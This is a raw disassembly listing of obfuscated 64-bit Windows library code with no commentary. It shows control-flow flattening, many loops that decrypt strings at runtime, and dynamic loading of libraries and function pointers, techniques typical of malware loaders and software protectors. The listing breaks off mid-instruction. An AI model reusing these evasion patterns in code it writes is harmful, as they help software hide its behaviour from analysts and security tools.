cmp ecx, 0xdf31ac6
je 0x180017213
cmp ecx, 0xae762849
jne 0x180015c6f
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
cmp rcx, 5
mov ecx, 0xdf31ac6
mov edx, 0x4eacc72c
cmovb ecx, edx
jmp 0x180015c6f
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
add cl, byte [rsp + 0x20]
xor byte [rsp + rax + 0x21], cl
inc rax
jmp 0x180015c6a
movabs rax, 0x7d727772775e784c
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], 0x72756a72
mov word [rsp + 0x3c], 0x6e83
mov byte [rsp + 0x3e], 0
xor eax, eax
mov ecx, 0x20b6828a
cmp ecx, 0x4a51541a
je 0x180017243
cmp ecx, 0x214dd343
je 0x180015d22
cmp ecx, 0x20b6828a
jne 0x180015ce9
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0xe
mov ecx, 0x4a51541a
mov edx, 0x214dd343
cmovb ecx, edx
jmp 0x180015ce9
mov rax, qword [rsp + 0x20]
add byte [rsp + rax + 0x30], 0xf7
mov rax, qword [rsp + 0x20]
inc rax
jmp 0x180015ce4
movabs rax, 0x4c0a083d1e163679
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], 0xefe6afb2
mov byte [rsp + 0x3c], 0xe8
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov ecx, 0x99324bf8
mov rax, qword [rsp + 0x118]
cmp ecx, 0xe3e3c6c0
je 0x180017269
cmp ecx, 0x99324bf8
jne 0x180015d69
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0x99324bf8
mov edx, 0xe3e3c6c0
cmove ecx, edx
jmp 0x180015d69
xor eax, eax
mov ecx, 0xacc2aad7
cmp ecx, 0xffaaec44
je 0x180015dd7
cmp ecx, 0xd236e0e3
je 0x1800172c0
cmp ecx, 0xacc2aad7
jne 0x180015d9e
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0xb
mov ecx, 0xd236e0e3
mov edx, 0xffaaec44
cmovb ecx, edx
jmp 0x180015d9e
mov rax, qword [rsp + 0x20]
mov cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x180015d99
mov dword [rsp + 0x2c], 0x4a
mov eax, 0xb4a95d5c
jmp 0x180013700
xor eax, eax
mov ecx, 0x1ccc9563
cmp ecx, 0x1bbfa634
je 0x1800172f1
cmp ecx, 0x5482de26
je 0x180015e3b
cmp ecx, 0x1ccc9563
jne 0x180015e02
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0x10
mov ecx, 0x1bbfa634
mov edx, 0x5482de26
cmovb ecx, edx
jmp 0x180015e02
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x20]
add cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x180015dfd
mov dword [rsp + 0x2c], 0x38
mov eax, 0xb4a95d5c
jmp 0x180013700
movabs rax, 0x1f544b4b121a1a75
mov qword [rsp + 0x30], rax
mov word [rsp + 0x38], 0x1110
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x20], rax
mov ecx, 0x2c6ae613
mov rax, qword [rsp + 0xe8]
cmp ecx, 0x72f86269
je 0x18001731c
cmp ecx, 0x2c6ae613
jne 0x180015e94
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0x2c6ae613
mov edx, 0x72f86269
cmove ecx, edx
jmp 0x180015e94
mov eax, 0xb4a95d5c
mov dword [rsp + 0x2c], 3
jmp 0x180013700
mov rcx, qword [rsp + 0x60]
mov rdx, rsi
call rbx
mov qword [0x18003a368], rax
test rax, rax
mov eax, 0xf9c1c5ad
cmove eax, ebp
jmp 0x180013700
movabs rax, 0x7351667562667344
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], 0x74666470
mov word [rsp + 0x3c], 0x5874
mov byte [rsp + 0x3e], 0
xor eax, eax
mov ecx, 0x3b093bef
cmp ecx, 0xd78af0aa
je 0x180015f58
cmp ecx, 0xc70fd05
je 0x180017373
cmp ecx, 0x3b093bef
jne 0x180015f1f
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0xe
mov ecx, 0xc70fd05
mov edx, 0xd78af0aa
cmovb ecx, edx
jmp 0x180015f1f
mov rax, qword [rsp + 0x20]
dec byte [rsp + rax + 0x30]
mov rax, qword [rsp + 0x20]
inc rax
jmp 0x180015f1a
movabs rax, 0x7b7a3d39303b2a49
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], 0x25252d67
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0x20], rax
mov ecx, 0x1956751d
mov rax, qword [rsp + 0x1c8]
cmp ecx, 0xa4080e31
je 0x180017399
cmp ecx, 0x1956751d
jne 0x180015f9c
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0x1956751d
mov edx, 0xa4080e31
cmove ecx, edx
jmp 0x180015f9c
movabs rax, 0x293536193d3f085a
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], 0x233f113f
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x20], rax
mov ecx, 0x90e27422
mov rax, qword [rsp + 0x70]
cmp ecx, 0xc81098a5
je 0x1800173eb
cmp ecx, 0x90e27422
jne 0x180015ff8
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0x90e27422
mov edx, 0xc81098a5
cmove ecx, edx
jmp 0x180015ff8
movabs rax, 0x34356a6a636e5506
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], 0x6a6a6228
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x20], rax
mov ecx, 0x798f993b
mov rax, qword [rsp + 0x1c0]
cmp ecx, 0xce182186
je 0x18001743d
cmp ecx, 0x798f993b
jne 0x180016057
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0x798f993b
mov edx, 0xce182186
cmove ecx, edx
jmp 0x180016057
xor eax, eax
mov ecx, 0x649e6c8b
cmp ecx, 0x829b2f61
je 0x18001748f
cmp ecx, 0xdf6c9df8
je 0x1800160c5
cmp ecx, 0x649e6c8b
jne 0x18001608c
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 9
mov ecx, 0x829b2f61
mov edx, 0xdf6c9df8
cmovb ecx, edx
jmp 0x18001608c
mov rax, qword [rsp + 0x20]
mov cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x180016087
movabs rax, 0x3427321507151146
mov qword [rsp + 0x30], rax
mov word [rsp + 0x38], 0x3332
mov byte [rsp + 0x3a], 0x36
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov ecx, 0xbe1c8cd7
mov rax, qword [rsp + 0x180]
cmp ecx, 0xcafa26d6
je 0x1800174ba
cmp ecx, 0xbe1c8cd7
jne 0x180016109
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0xbe1c8cd7
mov edx, 0xcafa26d6
cmove ecx, edx
jmp 0x180016109
xor eax, eax
mov ecx, 0xa5400fc4
cmp ecx, 0xd2daef6f
je 0x180016177
cmp ecx, 0xa5fcab8b
je 0x18001750c
cmp ecx, 0xa5400fc4
jne 0x18001613e
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0xe
mov ecx, 0xa5fcab8b
mov edx, 0xd2daef6f
cmovb ecx, edx
jmp 0x18001613e
mov rax, qword [rsp + 0x20]
mov cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x180016139
mov eax, 0xb4a95d5c
mov dword [rsp + 0x2c], 0x3b
jmp 0x180013700
xor eax, eax
mov ecx, 0x3069e9c9
cmp ecx, 0xce678ca8
je 0x180017537
cmp ecx, 0x3cf1ecad
je 0x1800161db
cmp ecx, 0x3069e9c9
jne 0x1800161a2
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 9
mov ecx, 0xce678ca8
mov edx, 0x3cf1ecad
cmovb ecx, edx
jmp 0x1800161a2
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x20]
add cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x18001619d
mov eax, 0xb4a95d5c
mov dword [rsp + 0x2c], 0x36
jmp 0x180013700
mov rcx, qword [rsp + 0x50]
mov rdx, rsi
call rbx
mov qword [0x18003a280], rax
test rax, rax
mov eax, 0xd023b9bc
mov ecx, 0x749f7f30
cmove eax, ecx
jmp 0x180013700
movaps xmmword [rsp + 0x30], xmm11
xor eax, eax
mov ecx, 0xf71425a0
cmp ecx, 0x4ec02060
je 0x180016270
cmp ecx, 0x111fce20
je 0x180017562
cmp ecx, 0xf71425a0
jne 0x180016237
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0xf
mov ecx, 0x111fce20
mov edx, 0x4ec02060
cmovb ecx, edx
jmp 0x180016237
mov rax, qword [rsp + 0x20]
add byte [rsp + rax + 0x30], 0xf9
mov rax, qword [rsp + 0x20]
inc rax
jmp 0x180016232
xor eax, eax
mov ecx, 0x5aa70d6e
cmp ecx, 0xbe42737c
je 0x180017588
cmp ecx, 0x266c5e7f
je 0x1800162c4
cmp ecx, 0x5aa70d6e
jne 0x18001628b
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0xa
mov ecx, 0xbe42737c
mov edx, 0x266c5e7f
cmovb ecx, edx
jmp 0x18001628b
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x20]
add cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x180016286
mov rcx, qword [rsp + 0x58]
mov rdx, rsi
call rbx
mov qword [0x18003a2f8], rax
test rax, rax
mov eax, 0xe35e60de
mov ecx, 0x33fb2d2c
cmove eax, ecx
jmp 0x180013700
movaps xmm0, xmmword [0x180028770]
movaps xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0x17171e02
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov ecx, 0x6c096001
mov rax, qword [rsp + 0x218]
cmp ecx, 0x87a533ce
je 0x1800175b3
cmp ecx, 0x6c096001
jne 0x18001632f
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0x6c096001
mov edx, 0x87a533ce
cmove ecx, edx
jmp 0x18001632f
mov rcx, qword [rsp + 0x58]
mov rdx, rsi
call rbx
mov qword [0x18003a2e0], rax
test rax, rax
mov eax, 0xae9f9564
mov ecx, 0x2181b26d
cmove eax, ecx
jmp 0x180013700
movaps xmm0, xmmword [0x180028850]
movaps xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0x57485b74
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov ecx, 0xf19c6dca
mov rax, qword [rsp + 0xb0]
cmp ecx, 0xeb883ac9
je 0x18001760a
cmp ecx, 0xf19c6dca
jne 0x1800163b1
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0xf19c6dca
mov edx, 0xeb883ac9
cmove ecx, edx
jmp 0x1800163b1
movabs rax, 0x5179676b5872634f
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], 0x6e6b4868
mov word [rsp + 0x3c], 0x67
xor eax, eax
mov ecx, 0xa99ef7c7
cmp ecx, 0x14f04386
je 0x180017661
cmp ecx, 0xdca461c7
je 0x18001643d
cmp ecx, 0xa99ef7c7
jne 0x180016404
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0xd
mov ecx, 0x14f04386
mov edx, 0xdca461c7
cmovb ecx, edx
jmp 0x180016404
mov rax, qword [rsp + 0x20]
add byte [rsp + rax + 0x30], 0xfe
mov rax, qword [rsp + 0x20]
inc rax
jmp 0x1800163ff
xor eax, eax
mov ecx, 0xdbd3a0ff
cmp ecx, 0xcdc0cdd3
je 0x180017687
cmp ecx, 0x4c44aafd
je 0x180016491
cmp ecx, 0xdbd3a0ff
jne 0x180016458
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0x11
mov ecx, 0xcdc0cdd3
mov edx, 0x4c44aafd
cmovb ecx, edx
jmp 0x180016458
mov rax, qword [rsp + 0x20]
mov cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x180016453
mov dword [rsp + 0x2c], 0x3c
mov eax, 0xb4a95d5c
jmp 0x180013700
xor eax, eax
mov ecx, 0x4b0d7d52
cmp ecx, 0x87e96680
je 0x1800164f5
cmp ecx, 0xd32effbd
je 0x1800176b5
cmp ecx, 0x4b0d7d52
jne 0x1800164bc
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0x12
mov ecx, 0xd32effbd
mov edx, 0x87e96680
cmovb ecx, edx
jmp 0x1800164bc
mov rax, qword [rsp + 0x20]
mov cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x1800164b7
movaps xmm0, xmmword [0x1800286c0]
movaps xmmword [rsp + 0x30], xmm0
movabs rax, 0x4c726d7947647070
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x20], rax
mov ecx, 0x48db9ba8
mov rax, qword [rsp + 0x248]
cmp ecx, 0xeec4cf48
je 0x1800176e0
cmp ecx, 0x48db9ba8
jne 0x18001653c
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0x48db9ba8
mov edx, 0xeec4cf48
cmove ecx, edx
jmp 0x18001653c
xor eax, eax
mov ecx, 0xa0dd0af6
cmp ecx, 0x86b9404d
je 0x180017737
cmp ecx, 0xdd143244
je 0x1800165aa
cmp ecx, 0xa0dd0af6
jne 0x180016571
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0xe
mov ecx, 0x86b9404d
mov edx, 0xdd143244
cmovb ecx, edx
jmp 0x180016571
mov rax, qword [rsp + 0x20]
mov cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x18001656c
mov eax, 0xb4a95d5c
mov dword [rsp + 0x2c], 0x38
jmp 0x180013700
movabs rax, 0x6a31273721313d53
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], 0x31387568
mov byte [rsp + 0x3c], 0x32
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov ecx, 0x7e761935
mov rax, qword [rsp + 0xa8]
cmp ecx, 0xd108b100
je 0x1800177cb
cmp ecx, 0x7e761935
jne 0x180016601
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0x7e761935
mov edx, 0xd108b100
cmove ecx, edx
jmp 0x180016601
mov rcx, qword [rsp + 0x58]
mov rdx, rsi
call rbx
mov qword [0x18003a300], rax
test rax, rax
mov eax, 0xd3fa9171
mov ecx, 0xe1471bb2
cmove eax, ecx
jmp 0x180013700
mov eax, 0xb4a95d5c
mov dword [rsp + 0x2c], 0x12
jmp 0x180013700
movaps xmmword [rsp + 0x30], xmm8
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x20], rax
mov ecx, 0x99a86f8c
mov rax, qword [rsp + 0x120]
cmp ecx, 0x82d89bcf
je 0x180017822
cmp ecx, 0x99a86f8c
jne 0x180016687
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0x99a86f8c
mov edx, 0x82d89bcf
cmove ecx, edx
jmp 0x180016687
movabs rax, 0x6257756654686653
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], 0x4666766d
mov word [rsp + 0x3c], 0x4279
mov byte [rsp + 0x3e], 0
xor eax, eax
mov ecx, 0xcef8f5f
cmp ecx, 0x951b18e9
je 0x180017874
cmp ecx, 0x76dc6a5c
je 0x180016718
cmp ecx, 0xcef8f5f
jne 0x1800166df
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0xe
mov ecx, 0x951b18e9
mov edx, 0x76dc6a5c
cmovb ecx, edx
jmp 0x1800166df
mov rax, qword [rsp + 0x20]
dec byte [rsp + rax + 0x30]
mov rax, qword [rsp + 0x20]
inc rax
jmp 0x1800166da
mov rcx, qword [rsp + 0xc8]
mov rdx, rsi
call rbx
mov qword [0x18003a328], rax
test rax, rax
mov eax, 0x7ff11ef1
mov ecx, 0x3604c8ba
cmove eax, ecx
jmp 0x180013700
mov dword [rsp + 0x2c], 0x48
mov eax, 0xb4a95d5c
jmp 0x180013700
movabs rax, 0xf0a2506150c2e63
mov qword [rsp + 0x30], rax
mov word [rsp + 0x38], 0x2206
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x20], rax
mov ecx, 0x9bf786b9
mov rax, qword [rsp + 0x1a0]
cmp ecx, 0xf1ac2046
je 0x18001789a
cmp ecx, 0x9bf786b9
jne 0x180016796
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0x9bf786b9
mov edx, 0xf1ac2046
cmove ecx, edx
jmp 0x180016796
xor eax, eax
mov ecx, 0x272c7ef1
cmp ecx, 0x9d835f2f
je 0x1800178ec
cmp ecx, 0x38d911b4
je 0x180016804
cmp ecx, 0x272c7ef1
jne 0x1800167cb
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0xc
mov ecx, 0x9d835f2f
mov edx, 0x38d911b4
cmovb ecx, edx
jmp 0x1800167cb
mov rax, qword [rsp + 0x20]
mov cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x1800167c6
movaps xmmword [rsp + 0x30], xmm13
mov word [rsp + 0x40], 0x3908
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x20], rax
mov ecx, 0xde84b2d6
mov rax, qword [rsp + 0x240]
cmp ecx, 0x895b2447
je 0x180017917
cmp ecx, 0xde84b2d6
jne 0x18001683d
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0xde84b2d6
mov edx, 0x895b2447
cmove ecx, edx
jmp 0x18001683d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
mov eax, 0x6a32dbaa
mov ecx, 0xac124a76
cmove eax, ecx
jmp 0x180013700
mov eax, 0xb4a95d5c
mov dword [rsp + 0x2c], 0x11
jmp 0x180013700
movabs rax, 0x3a272f1e3e2f0d4a
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], 0x223e2b1a
mov byte [rsp + 0x3c], 0x1d
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov ecx, 0x5678823f
mov rax, qword [rsp + 0x108]
cmp ecx, 0x1f6b6d59
je 0x18001796e
cmp ecx, 0x5678823f
jne 0x1800168d6
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0x5678823f
mov edx, 0x1f6b6d59
cmove ecx, edx
jmp 0x1800168d6
movabs rax, 0x6b777474497b815b
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], 0x717a7c5b
mov word [rsp + 0x3c], 0x6f76
mov byte [rsp + 0x3e], 0
xor eax, eax
mov ecx, 0x78b66d09
cmp ecx, 0xe4ad73d9
je 0x180016967
cmp ecx, 0x4539fd68
je 0x1800179c0
cmp ecx, 0x78b66d09
jne 0x18001692e
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0xe
mov ecx, 0x4539fd68
mov edx, 0xe4ad73d9
cmovb ecx, edx
jmp 0x18001692e
mov rax, qword [rsp + 0x20]
add byte [rsp + rax + 0x30], 0xf8
mov rax, qword [rsp + 0x20]
inc rax
jmp 0x180016929
cmp qword [rsp + 0x50], 0
mov eax, 0xd173b99e
mov ecx, 0xf10ba8b8
cmove eax, ecx
jmp 0x180013700
xor eax, eax
mov ecx, 0xcf346829
cmp ecx, 0x915da41c
je 0x1800179e9
cmp ecx, 0xb8de533d
je 0x1800169d3
cmp ecx, 0xcf346829
jne 0x18001699a
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 8
mov ecx, 0x915da41c
mov edx, 0xb8de533d
cmovb ecx, edx
jmp 0x18001699a
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x20]
add cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x180016995
mov eax, 0xb4a95d5c
mov dword [rsp + 0x2c], 0x3a
jmp 0x180013700
xor eax, eax
mov ecx, 0x50a37e57
cmp ecx, 0xd1448961
je 0x180016a3c
cmp ecx, 0xeb4117b6
je 0x180017a14
cmp ecx, 0x50a37e57
jne 0x180016a03
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0x11
mov ecx, 0xeb4117b6
mov edx, 0xd1448961
cmovb ecx, edx
jmp 0x180016a03
mov rax, qword [rsp + 0x20]
mov cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x1800169fe
xor eax, eax
mov ecx, 0x56a15973
cmp ecx, 0x8405c231
je 0x180016a8e
cmp ecx, 0xc2f64809
je 0x180017a42
cmp ecx, 0x56a15973
jne 0x180016a55
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 9
mov ecx, 0xc2f64809
mov edx, 0x8405c231
cmovb ecx, edx
jmp 0x180016a55
mov rax, qword [rsp + 0x20]
mov cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x180016a50
xor eax, eax
mov ecx, 0x9ed85c71
cmp ecx, 0x7efcbbd3
je 0x180016ae0
cmp ecx, 0x5f5814ec
je 0x180017a6d
cmp ecx, 0x9ed85c71
jne 0x180016aa7
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0x14
mov ecx, 0x5f5814ec
mov edx, 0x7efcbbd3
cmovb ecx, edx
jmp 0x180016aa7
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x20]
add cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x180016aa2
xor eax, eax
mov ecx, 0x70b5dd31
cmp ecx, 0x8d38d89a
je 0x180016b37
cmp ecx, 0x68d93e4e
je 0x180017a9b
cmp ecx, 0x70b5dd31
jne 0x180016afe
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0xc
mov ecx, 0x68d93e4e
mov edx, 0x8d38d89a
cmovb ecx, edx
jmp 0x180016afe
mov rax, qword [rsp + 0x20]
mov cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x180016af9
xor eax, eax
mov ecx, 0x14fb24dd
cmp ecx, 0xad4fab12
je 0x180016b89
cmp ecx, 0xd1167c18
je 0x180017ac6
cmp ecx, 0x14fb24dd
jne 0x180016b50
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 8
mov ecx, 0xd1167c18
mov edx, 0xad4fab12
cmovb ecx, edx
jmp 0x180016b50
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x20]
add cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x180016b4b
xor eax, eax
mov ecx, 0x1fe93fa8
cmp ecx, 0xa37a28ac
je 0x180016be0
cmp ecx, 0x3f49ae9b
je 0x180017af1
cmp ecx, 0x1fe93fa8
jne 0x180016ba7
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0xf
mov ecx, 0x3f49ae9b
mov edx, 0xa37a28ac
cmovb ecx, edx
jmp 0x180016ba7
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x20]
add cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x180016ba2
xor eax, eax
mov ecx, 0xf40c6b87
cmp ecx, 0x3fd99db8
je 0x180016c37
cmp ecx, 0x344dfd10
je 0x180017b1f
cmp ecx, 0xf40c6b87
jne 0x180016bfe
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0x17
mov ecx, 0x344dfd10
mov edx, 0x3fd99db8
cmovb ecx, edx
jmp 0x180016bfe
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x20]
add cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x180016bf9
mov byte [rsp + 0x40], 0
mov rcx, qword [rsp + 0x58]
mov rdx, r15
call rbx
mov qword [0x18003a308], rax
test rax, rax
mov eax, 0xaf9bdc32
mov ecx, 0x72e9e129
cmove eax, ecx
jmp 0x180013700
xor eax, eax
mov ecx, 0x7d770402
cmp ecx, 0xf85b1d16
je 0x180017b4a
cmp ecx, 0x393d0321
je 0x180016cb9
cmp ecx, 0x7d770402
jne 0x180016c80
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0xe
mov ecx, 0xf85b1d16
mov edx, 0x393d0321
cmovb ecx, edx
jmp 0x180016c80
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x20]
add cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x180016c7b
mov byte [rsp + 0x45], 0
mov rcx, qword [rsp + 0x50]
mov rdx, r15
call rbx
mov qword [0x18003a1f0], rax
test rax, rax
mov eax, 0xc6df2bce
mov ecx, 0x83f85a83
cmove eax, ecx
jmp 0x180013700
xor eax, eax
mov ecx, 0xd7a33640
cmp ecx, 0xea214944
je 0x180016d3b
cmp ecx, 0xe9649244
je 0x180017b75
cmp ecx, 0xd7a33640
jne 0x180016d02
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0xe
mov ecx, 0xe9649244
mov edx, 0xea214944
cmovb ecx, edx
jmp 0x180016d02
mov rax, qword [rsp + 0x20]
mov cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x180016cfd
mov byte [rsp + 0x3e], 0
mov rcx, qword [rsp + 0xd8]
mov rdx, r15
call rbx
mov qword [0x18003a3e8], rax
test rax, rax
mov eax, 0xdb1f5dcc
mov ecx, 0x6f58be14
cmove eax, ecx
jmp 0x180013700
xor eax, eax
mov ecx, 0x9a5d2119
cmp ecx, 0x1d28fbbb
je 0x180016dbb
cmp ecx, 0xfddfa545
je 0x180017ba0
cmp ecx, 0x9a5d2119
jne 0x180016d82
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0xa
mov ecx, 0xfddfa545
mov edx, 0x1d28fbbb
cmovb ecx, edx
jmp 0x180016d82
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x20]
add cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x180016d7d
xor eax, eax
mov ecx, 0xce59a9a
cmp ecx, 0xf7201150
je 0x180016e12
cmp ecx, 0x77c4ffd4
je 0x180017bce
cmp ecx, 0xce59a9a
jne 0x180016dd9
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0x14
mov ecx, 0x77c4ffd4
mov edx, 0xf7201150
cmovb ecx, edx
jmp 0x180016dd9
mov rax, qword [rsp + 0x20]
mov cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x180016dd4
mov byte [rsp + 0x43], 0
mov rcx, qword [rsp + 0x50]
mov rdx, r15
call rbx
mov qword [0x18003a288], rax
test rax, rax
mov eax, 0xff180b74
mov ecx, 0xa66b639
cmove eax, ecx
jmp 0x180013700
xor eax, eax
mov ecx, 0x7372d5b4
cmp ecx, 0x18c91f0d
je 0x180016e8f
cmp ecx, 0x41643f4d
je 0x180017bf9
cmp ecx, 0x7372d5b4
jne 0x180016e56
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0xe
mov ecx, 0x41643f4d
mov edx, 0x18c91f0d
cmovb ecx, edx
jmp 0x180016e56
mov rax, qword [rsp + 0x20]
mov cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x180016e51
mov rcx, qword [rsp + 0x50]
mov rdx, rsi
call rbx
mov qword [0x18003a2a8], rax
test rax, rax
mov eax, 0x9ca28f3a
mov ecx, 0x866d4ab4
cmove eax, ecx
jmp 0x180013700
xor eax, eax
mov ecx, 0x8e426307
cmp ecx, 0x88256ad0
je 0x180016f07
cmp ecx, 0x6ac5132d
je 0x180017c71
cmp ecx, 0x8e426307
jne 0x180016ece
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0x15
mov ecx, 0x6ac5132d
mov edx, 0x88256ad0
cmovb ecx, edx
jmp 0x180016ece
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x20]
add cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x180016ec9
xor eax, eax
mov ecx, 0x6dcece43
cmp ecx, 0x3e5f1ad4
je 0x180017c9c
cmp ecx, 0x4f7952a7
je 0x180016f5e
cmp ecx, 0x6dcece43
jne 0x180016f25
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0xa
